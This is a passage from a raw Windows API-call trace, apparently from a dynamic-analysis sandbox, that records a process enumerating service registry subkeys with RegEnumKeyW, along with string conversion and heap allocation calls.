lpUsedDefaultChar=0x0) returned 13 [0255.064] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0255.064] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.064] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0255.064] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.064] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0255.064] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0255.064] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0255.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1cd0, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0255.064] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.064] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0255.064] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.064] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.064] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0255.064] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0255.064] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f1a48, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0255.064] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0255.064] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.065] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0255.065] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.065] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0255.065] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0255.065] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0255.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1cd0, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0255.065] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.065] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0255.065] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.065] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.065] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0255.065] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0255.065] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f1a48, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0255.065] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0255.065] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.065] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0255.065] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.065] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0255.065] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0255.065] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0255.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1cd0, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0255.065] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.065] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0255.065] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.065] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.065] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0255.065] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0255.066] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f1a48, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0255.066] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0255.066] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.066] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0255.066] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.066] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0255.066] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0255.066] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0255.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0255.066] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.066] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0255.066] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.066] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.066] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0255.066] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0255.066] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f1a48, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0255.066] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0255.066] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.066] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0255.066] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.066] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0255.066] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0255.066] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0255.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0255.066] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.066] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0255.067] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.067] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.067] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0255.067] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0255.067] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f1a48, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0255.067] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0255.067] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.067] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0255.067] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.067] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0255.067] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0255.067] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0255.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0255.067] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.067] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0255.067] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.067] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.067] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0255.067] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0255.067] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0255.067] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0255.067] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.067] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0255.067] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.067] RegEnumKeyW (in: hKey=0x148, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0255.067] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.068] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0255.068] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0255.068] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0255.068] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.068] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0255.068] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.068] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.068] RegEnumKeyW (in: hKey=0x148, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0255.068] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.068] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0255.068] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.068] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f1a48, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0255.068] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0255.068] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.068] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0255.068] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.068] RegEnumKeyW (in: hKey=0x148, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0255.068] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.068] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0255.068] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0255.068] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f1cd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0255.068] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.068] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0255.068] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.068] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.068] RegEnumKeyW (in: hKey=0x148, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0255.068] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.068] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0255.068] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.068] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f1a48, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0255.068] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0255.068] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.069] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0255.069] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.069] RegEnumKeyW (in: hKey=0x148, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0255.069] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0255.069] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0255.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f1cd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0255.069] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.069] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0255.069] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.069] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.069] RegEnumKeyW (in: hKey=0x148, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0255.069] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0255.069] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f1a48, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0255.069] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0255.069] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.069] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0255.069] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.069] RegEnumKeyW (in: hKey=0x148, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0255.069] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0255.069] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0255.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f1cd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0255.069] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.069] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0255.069] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.069] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.069] RegEnumKeyW (in: hKey=0x148, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0255.069] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0255.070] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.070] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0255.070] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0255.070] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.070] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0255.070] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.070] RegEnumKeyW (in: hKey=0x148, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: 